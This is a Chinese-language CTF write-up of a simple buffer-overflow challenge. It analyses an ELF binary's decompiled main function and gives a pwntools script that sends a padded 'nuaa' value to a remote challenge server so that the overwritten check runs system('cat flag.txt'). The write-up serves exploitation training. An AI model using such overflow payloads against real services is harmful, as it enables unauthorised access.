开启环境
下载附件:
pe分析知道是elf文件(elf文件是Linux下的可执行文件,可以在Linux直接运行)
ida分析:下载后ida打开找到main函数,F5反编译
分析:
alarm(0x3Cu):
调用alarm函数设置了一个定时器,其值为0x3Cu(60秒)。如果程序在60秒内没有结束,会收到一个SIGALRM信号。这通常用于防止程序挂起。
setbuf(stdout, 0LL):
关闭stdout的缓冲,使得所有输出都立即写入。这通常用于调试,以便实时查看程序输出。
puts()函数:
使用puts函数输出两条欢迎信息。
read(0, &unk_601068, 0x10uLL):
这是漏洞的关键点。read函数从文件描述符0(通常是标准输入stdin)读取0x10uLL(16字节)的数据到unk_601068这个地址。这里有几个问题:
unk_601068可能是一个未初始化的或未分配足够空间的缓冲区,导致缓冲区溢出。
读取的字节数0x10uLL是硬编码的,没有考虑实际缓冲区的大小。
如果用户输入超过16字节的数据,会覆盖缓冲区后面的内存区域,可能包括其他变量的值或者函数的返回地址。
if ( dword_60106C == 'nuaa' ) sub_400686():
这里检查dword_60106C(unk_601068后面的一个双字)是否等于'nuaa'。这个检查看起来是为了确保某种条件满足时才调用sub_400686()。然而,由于缓冲区溢出漏洞,攻击者可以故意构造输入来覆盖dword_60106C的值,从而控制程序的执行流程。
sub_400686()函数:该函数返回一个 64 位整数(__int64)。函数的主体做了两件事情:
system("cat flag.txt");:这行代码调用了 system 函数,该函数执行传递给它的字符串参数作为 shell 命令。在这里,它尝试运行 cat flag.txt 命令,这个命令在 Unix-like 系统(比如 Linux)上用于显示 flag.txt 文件的内容。如果该文件存在且可读,它的内容将被输出到标准输出(通常是终端或控制台)。
return 0LL;:这行代码表示函数执行成功,并返回整数值 0。LL 后缀用于明确表示这个整数值是一个 64 位整数。
exp:
方法一
from pwn import*
p = remote('61.147.171.105',53737)
# 将字符串转换为字节对象
str_bytes = 'a'*4
# 构造payload
payload = str_bytes.encode() + p64(1853186401)
p.recvuntil("lets get helloworld for bof\n")
p.sendline(payload)
p.interactive()
"""
from pwn import *:从pwn库中导入所有功能。
p = remote('61.147.171.105', 53737):创建一个远程连接对象p,连接到指定的IP地址和端口。
str_bytes = 'a'*4:创建一个包含4个字母'a'的字符串。这通常用于填充目标程序的缓冲区,以便在稍后覆盖关键的内存位置。
payload = str_bytes.encode() + p64(1853186401):
str_bytes.encode():将字符串str_bytes转换为字节对象。
p64(1853186401):将整数1853186401转换为64位字节表示。
+:将上述两个字节对象拼接在一起,形成最终的payload。
p.recvuntil("lets get helloworld for bof\n"):从远程连接中接收数据,直到遇到字符串"lets get helloworld for bof\n"为止。这通常用于同步,确保payload在正确的时机发送。
p.sendline(payload):发送之前构造的payload到远程服务器。这里的sendline函数会在payload后面自动添加一个换行符,这取决于目标程序是否期望接收换行符作为输入的一部分。
p.interactive():将远程连接的控制权交给用户,允许用户与远程服务器进行交互。在成功发送payload并触发漏洞后,这通常用于执行目标服务器上的任意命令或访问敏感数据。"""
方法二: